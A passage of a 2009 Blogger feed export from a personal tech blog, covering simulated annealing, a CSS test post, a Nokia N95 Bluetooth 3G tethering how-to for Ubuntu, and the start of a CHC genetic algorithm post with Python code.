easy to construct neighbours, and a sensible combination of temperature and probability functions can be constructed, and the number of trials is well defined. Still: this method might be too naive to solve more difficult problems.&lt;br /&gt;&lt;br /&gt;The source code can be downloaded &lt;a href="http://www.macuyiko.com/files/ga/ga_annealing.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;An interesting implementation is &lt;a href="http://alteredqualia.com/visualization/evolve/"&gt;this&lt;/a&gt;. It is based on another genetic programming experiment located &lt;a href="http://rogeralsing.com/2008/12/07/genetic-programming-evolution-of-mona-lisa/"&gt;here&lt;/a&gt; (both are very interesting and fun examples, I highly recommend reading them).&lt;br /&gt;&lt;br /&gt;Another Java applet to look at: solving a &lt;a href="http://www.heatonresearch.com/articles/64/page1.html"&gt;travelling salesman problem with simulated annealing&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-8718768855361862329?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/8718768855361862329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8718768855361862329'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8718768855361862329'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html' title='Modern Genetic (And Other) Algorithms Explained: Part 4 - Simulated Annealing'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-4798698500817714585</id><published>2009-01-19T23:01:00.003+01:00</published><updated>2009-01-19T23:11:10.441+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='markup'/><category scheme='http://www.blogger.com/atom/ns#' term='code'/><category scheme='http://www.blogger.com/atom/ns#' term='test'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>Testing CSS For Code Tag</title><content type='html'>Just ignore this... I'm testing the CSS for my code.&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;.code{&lt;br /&gt;width: 464px;&lt;br /&gt;overflow: auto;&lt;br /&gt;background: #f8f8f8;&lt;br /&gt;border-right: 1px dashed #e6e6e6;&lt;br /&gt;border-top: 1px dashed #e6e6e6;&lt;br /&gt;border-bottom: 1px dashed #e6e6e6;&lt;br /&gt;border-left: 4px solid #e6e6e6;&lt;br /&gt;margin-left: 10px;&lt;br /&gt;padding: 4px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;pre,code,tt {&lt;br /&gt;font: 'Liberation Mono', 'lucida console', 'courier new', monospace;&lt;br /&gt;line-height:1.5;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-4798698500817714585?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4798698500817714585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/4798698500817714585'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/testing-css-for-code-tag.html' title='Testing CSS For Code Tag'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-1156266368314076961</id><published>2009-01-16T15:47:00.014+01:00</published><updated>2009-02-01T21:39:55.355+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tethering'/><category scheme='http://www.blogger.com/atom/ns#' term='n95'/><category scheme='http://www.blogger.com/atom/ns#' term='3g'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='gprs'/><title type='text'>Nokia N95, 3G, Bluetooth, And Ubuntu Intrepid - 3G Tethering Howto</title><content type='html'>&lt;span style="font-size: medium;"&gt;&lt;span style="font-weight: bold;"&gt;The following steps are instructions to surf the web using a Nokia N95 with 3G, connected to your Intrepid laptop via Bluetooth.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;1. Make sure you have the required packages&lt;/u&gt; installed:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;sudo apt-get install bluez-utils bluez-pin ppp&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;2. Find out the phone's MAC&lt;/u&gt; address. Enable Bluetooth on phone and laptop, and enter the following command:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;hcitool scan&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Output example:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;$ hcitool scan&lt;br /&gt;Scanning ...&lt;br /&gt;&lt;strong&gt;00:1C:9A:26:F5:DD&lt;/strong&gt; Macuyiko N95&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;And note your &lt;strong&gt;MAC&lt;/strong&gt;-address of your phone.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;3. Find out the phone's channel&lt;/u&gt;, with the N95, this might change from time to time:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;sdptool search --bdaddr &lt;strong&gt;MAC&lt;/strong&gt; DUN | grep Channel&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Replace &lt;strong&gt;MAC&lt;/strong&gt; with your phone's MAC address.&lt;br /&gt;&lt;br /&gt;Output example:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;$ sudo sdptool search --bdaddr 00:1C:9A:26:F5:DD DUN | grep Channel&lt;br /&gt;Channel: &lt;strong&gt;4&lt;/strong&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Note this &lt;strong&gt;channel&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;4. Edit &lt;tt&gt;/etc/ppp/peers/BluetoothDialup&lt;/tt&gt;:&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;sudo gedit /etc/ppp/peers/BluetoothDialup&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Paste the following:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;/dev/rfcomm1 115200&lt;br /&gt;local&lt;br /&gt;nocrtscts&lt;br /&gt;connect "/usr/sbin/chat -v -f /etc/chatscripts/proximus-gprs"&lt;br /&gt;noauth&lt;br /&gt;defaultroute&lt;br /&gt;usepeerdns&lt;br /&gt;novj&lt;br /&gt;remotename proximus&lt;br /&gt;debug&lt;br /&gt;#user&lt;br /&gt;lcp-restart 5&lt;br /&gt;ms-dns 195.238.2.21&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;There are a few lines which you might need to change. I'm using the Belgium Proximus operator.&lt;br /&gt;&lt;br /&gt;First of all, change &lt;tt&gt;/etc/chatscripts/proximus-gprs&lt;/tt&gt; to something more related to your provider (e.g.: &lt;tt&gt;/etc/chatscripts/myprovider-gprs&lt;/tt&gt;). We're going to create this script in the next step. Also: you might need to change the &lt;tt&gt;ms-dns&lt;/tt&gt; entry as well (in most cases you can leave it out, but I had to add it though). Also notice that I have used &lt;tt&gt;/dev/rfcomm&lt;strong&gt;1&lt;/strong&gt;&lt;/tt&gt; as the used device, we'll use this in the next steps as well.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;5. Create a chatscript at &lt;tt&gt;/etc/chatscripts/proximus-gprs&lt;/tt&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;sudo gedit /etc/chatscripts/proximus-gprs&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Note that you may have chosen a different name for your chatscript in the previous step. Paste:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;ABORT BUSY&lt;br /&gt;ABORT 'NO CARRIER'&lt;br /&gt;ABORT VOICE&lt;br /&gt;ABORT 'NO DIALTONE'&lt;br /&gt;ABORT 'NO DIAL TONE'&lt;br /&gt;ABORT 'NO ANSWER'&lt;br /&gt;"" ATZ&lt;br /&gt;OK AT+CGDCONT=1,"IP","&lt;strong&gt;internet.proximus.be&lt;/strong&gt;"&lt;br /&gt;OK ATDT&lt;strong&gt;*99#&lt;/strong&gt;&lt;br /&gt;CONNECT ""&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Notice the &lt;strong&gt;bold&lt;/strong&gt; entries? You need to change them for your provider. Look up your APN and data profile number. If you google for "APN 3g [yourprovider]" you will often find the correct results, or look &lt;a href="http://www.iphoneuserguide.com/apple/2008/06/04/iphone3g/apn-settings-for-iphone-3g/"&gt;here&lt;/a&gt; for APNs for many providers. The data profile number line will often be &lt;tt&gt;OK ATDT*99#&lt;/tt&gt; or &lt;tt&gt;OK ATDT*99***1#&lt;/tt&gt;, so try them both.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;6. Try it out&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Enter the following command:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;rfcomm connect &lt;strong&gt;RFCOMM#&lt;/strong&gt; &lt;strong&gt;MAC&lt;/strong&gt; &lt;strong&gt;CHANNEL&lt;/strong&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Replace &lt;strong&gt;RFCOMM#&lt;/strong&gt; with the &lt;tt&gt;/dev/rfcomm&lt;/tt&gt;-number you've used before (only the number!), I've used 1. &lt;strong&gt;MAC&lt;/strong&gt; is your phone's MAC adres again, and &lt;strong&gt;CHANNEL&lt;/strong&gt; is the channel you found earlier.&lt;br /&gt;&lt;br /&gt;If all went well it should say:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;$ rfcomm connect 1 00:1C:9A:26:F5:DD 4&lt;br /&gt;Connected /dev/rfcomm1 to 00:1C:9A:26:F5:DD on channel 4&lt;br /&gt;Press CTRL-C for hangup&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Now we're going to enable the PPP connection, in a &lt;i&gt;new&lt;/i&gt; terminal window (keep the "CTRL-C for hangup"-one open), enter:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;pon BluetoothDialup&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;tt&gt;BluetoothDialup&lt;/tt&gt; is the filename of the file we have created in &lt;tt&gt;/etc/ppp/peers/&lt;/tt&gt; earlier in step 4.&lt;br /&gt;&lt;br /&gt;If all went well you should see an entry now in your ifconfig output:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;$ ifconfig&lt;br /&gt;ppp0 &amp;nbsp; &amp;nbsp; &amp;nbsp;Link encap:Point-to-Point Protocol&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; inet addr:81.169.31.99&amp;nbsp; P-t-P:10.6.6.6&amp;nbsp; Mask:255.255.255.255&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; UP POINTOPOINT RUNNING NOARP MULTICAST&amp;nbsp; MTU:1500&amp;nbsp; Metric:1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RX packets:3 errors:0 dropped:0 overruns:0 frame:0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TX packets:4 errors:0 dropped:0 overruns:0 carrier:0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; collisions:0 txqueuelen:3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; RX bytes:54 (54.0 B)&amp;nbsp; TX bytes:69 (69.0 B)&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;If you're done surfing the internet, turn off PPP:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;poff&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Press CTRL-C in that other terminal window to break the Bluetooth/3G-connection.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Note:&lt;/strong&gt; if you've done something wrong (e.g.: used the wrong channel), you can release rfcomm's with:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;rfcomm release &lt;strong&gt;RFCOMM#&lt;/strong&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;With &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;RFCOMM#&lt;/span&gt;&amp;nbsp;equal to the &lt;tt&gt;/dev/rfcomm&lt;/tt&gt;-number you've used before.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Optional steps: use gnome-ppp to connect&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;If you have gnome-ppp installed, you can also use a graphical interface to configure the above steps.&lt;br /&gt;&lt;br /&gt;First of all, you still have to execute:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;rfcomm connect &lt;strong&gt;RFCOMM#&lt;/strong&gt; &lt;strong&gt;MAC&lt;/strong&gt; &lt;strong&gt;CHANNEL&lt;/strong&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;But you &lt;i&gt;don't&lt;/i&gt; have to create the files from steps 4 and 5. We could automate the connect-step as well, but since the N95's channel changes from time to time, this wouldn't be very convenient. Also, I like having a terminal open to notify me that I'm still surfing via my phone.&lt;br /&gt;&lt;br /&gt;Then open up &lt;tt&gt;gnome-ppp&lt;/tt&gt;. If you have to enter a blank username and password for your provider, just enter some dummy values. I used "blank" and "blank" :).&lt;br /&gt;&lt;br /&gt;Phone number: I tried &lt;tt&gt;*99***1#&lt;/tt&gt; this time. And it also seemed to work, great!&lt;br /&gt;&lt;br /&gt;Then press &lt;tt&gt;Setup&lt;/tt&gt;. Enter the following values:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Device: &lt;tt&gt;/dev/rfcomm1&lt;/tt&gt; (or the other rfcomm you defined earlier)&lt;/li&gt;&lt;li&gt;Type: &lt;tt&gt;USB Modem&lt;/tt&gt; (yes, USB!)&lt;/li&gt;&lt;li&gt;Speed: &lt;tt&gt;460800&lt;/tt&gt; works here, this probably means I could have used this value in the previous configuration files as well, instead of &lt;tt&gt;115200&lt;/tt&gt;&lt;/li&gt;&lt;li&gt;Phone Line: &lt;tt&gt;Tone&lt;/tt&gt; (default)&lt;/li&gt;&lt;li&gt;Volume: &lt;tt&gt;High&lt;/tt&gt; (default)&lt;/li&gt;&lt;/ul&gt;Then press &lt;tt&gt;Init Strings&lt;/tt&gt;.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Leave &lt;tt&gt;Init 2&lt;/tt&gt; unchanged (&lt;tt&gt;ATQ0 V1 E1 S0=0 &amp;amp;C1 &amp;amp;D2 +FCLASS=0&lt;/tt&gt;)&lt;/li&gt;&lt;li&gt;Enter this in &lt;tt&gt;Init 3&lt;/tt&gt;: &lt;tt&gt;AT+CGDCONT=1,"IP","internet.proximus.be"&lt;/tt&gt;&lt;br /&gt;Again, change this for your provider! I also had to manually define a DNS in the &lt;tt&gt;Networking&lt;/tt&gt; tab, just like in the previous steps. This might not be the case for you.&lt;/li&gt;&lt;/ul&gt;You're done, make sure you're not wired or wirelessly connected to test this :).&lt;br /&gt;&lt;br /&gt;Screenshot:&lt;br /&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_X4W-h82Vgjw/SXD_Jdo-kuI/AAAAAAAAPIg/k5UvfUx-Gv4/s1600-h/97214235_6ee4d4a9c4_o.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="236" src="http://2.bp.blogspot.com/_X4W-h82Vgjw/SXD_Jdo-kuI/AAAAAAAAPIg/k5UvfUx-Gv4/s400/97214235_6ee4d4a9c4_o.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Final note: some people have to add &lt;tt&gt;novj&lt;/tt&gt; to &lt;tt&gt;/etc/ppp/options&lt;/tt&gt; as well. I didn't, tho. Check the Ubuntu forums/Google for information about your specific operator and/or hardware.&lt;br /&gt;&lt;br /&gt;These instructions were only tested with my Thinkpad, my N95, and my operator. I've set up laptops with Vodafone cards before, and you can use &lt;tt&gt;gnome-ppp&lt;/tt&gt; for those as well, just make sure you're using the correct device. Often the device will be at &lt;tt&gt;/dev/ttyS0&lt;/tt&gt;, but use &lt;tt&gt;dmesg&lt;/tt&gt; to find out the exact location.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-1156266368314076961?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/1156266368314076961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/nokia-n95-3g-bluetooth-and-ubuntu.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1156266368314076961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/1156266368314076961'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/nokia-n95-3g-bluetooth-and-ubuntu.html' title='Nokia N95, 3G, Bluetooth, And Ubuntu Intrepid - 3G Tethering Howto'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_X4W-h82Vgjw/SXD_Jdo-kuI/AAAAAAAAPIg/k5UvfUx-Gv4/s72-c/97214235_6ee4d4a9c4_o.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-8999374277352711382</id><published>2009-01-13T21:00:00.008+01:00</published><updated>2009-04-20T22:59:58.182+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 3 - CHC Eshelman</title><content type='html'>(This is part 3 in the Modern Genetic Algorithms Explained series, click &lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;here&lt;/a&gt; to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)&lt;br /&gt;&lt;br /&gt;In this part, we will look at a "special" genetic algorithm, CHC by Eshelman. The original paper is very hard to find, but it is mentioned in a lot of other works.&lt;br /&gt;&lt;br /&gt;The pseudocode looks like this (thanks to the commenters for sorting some problems out):&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Create initial population: P&lt;br /&gt;L := length of an individual chromosome&lt;br /&gt;N := population size&lt;br /&gt;Threshold := &lt;br /&gt;Threshold := MutProb * (1.0-MutProb) * L &lt;small&gt;(or L/4 is also used)&lt;/small&gt;&lt;br /&gt;Evolution until timelimit hit or satisfiable solution found:&lt;br /&gt;&amp;nbsp;&amp;nbsp;CPop := {}&lt;br /&gt;&amp;nbsp;&amp;nbsp;For i := 1 to N/2 do:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Choose two random parents: P1 and P2&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If (different bits between P1 an P2) / 2 &amp;gt; threshold do:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Create children C1 and C2 using half-uniform crossover&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Add C1 and C2 to CPop&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;If there are no children in Cpop:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Threshold := threshold - 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;Else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;P := best N individuals from P and CPop&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;If threshold &amp;lt; 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Cataclysmic creation of new population P&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;Threshold := MutProb * (1.0-MutProb) * L &lt;small&gt;(or L/4 is also used)&lt;/small&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;There is another pseudocode description in the slides found &lt;a href="http://soar.snu.ac.kr/~yhdfly/presentation/MKCP.pps"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;A few interesting remarks:&lt;br /&gt;(1) N (population size) is almost always set to 50, but can range from 50 - 10000.&lt;br /&gt;(2) The different bits between P1 and P2 can be defined as the hamming distance between them.&lt;br /&gt;(3) Half uniform crossover swaps exactly half of the non-matching bits. However, often a uniform crossover is used, with a chance of 0.5 - 0.8 of swapping.&lt;br /&gt;(4) MutProb is the mutation probability and originally set to 0.35 (35%).&lt;br /&gt;(5) A "cataclysmic event" occurs when there are no children created for a certain period of time. New children can only be made between parents which are different enough. Basically this means: whenever the population converges towards a certain points, a cataclysm occurs.&lt;br /&gt;(6) What this cataclysm will do depends on the actual implementation. Originally, and often, the following method is used: take the single best individual, and put it in the new population. Now, mutate each of its bits with a 35% chance, this will be the second individual. Repeat this to create a new population of size N. Sometimes, the mutation chance is set to a higher value.&lt;br /&gt;&lt;br /&gt;My Python - again, based on the &lt;a href="http://lethain.com/entry/2009/jan/02/genetic-algorithms-cool-name-damn-simple/"&gt;code found here&lt;/a&gt; - implementation looks as follows (the original problem was unchanged):&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;from random import randint, random&lt;br /&gt;from operator import add&lt;br /&gt;&lt;br /&gt;def individual(length, min, max):&lt;br /&gt;&amp;nbsp;&amp;nbsp;return [ randint(min,max) for x in xrange(length) ]&lt;br /&gt;&lt;br /&gt;def population(count, length, min, max):&lt;br /&gt;&amp;nbsp;&amp;nbsp;return [ individual(length, min, max) for x in xrange(count) ]&lt;br /&gt;&lt;br /&gt;def fitness(individual, target):&lt;br /&gt;&amp;nbsp;&amp;nbsp;sum = reduce(add, individual, 0)&lt;br /&gt;&amp;nbsp;&amp;nbsp;return abs(target-sum)&lt;br /&gt;&lt;br /&gt;def grade(pop, target):&lt;br /&gt;&amp;nbsp;&amp;nbsp;summed = reduce(add, (fitness(x, target) for x in pop))&lt;br /&gt;&amp;nbsp;&amp;nbsp;return summed / (len(pop) * 1.0)&lt;br /&gt;&lt;br /&gt;def hamming(ind1, ind2):&lt;br /&gt;&amp;nbsp;&amp;nbsp;nr_hamming = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;for x in range(0, len(ind1) - 1):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (ind1[x] != ind2[x]):&lt;br 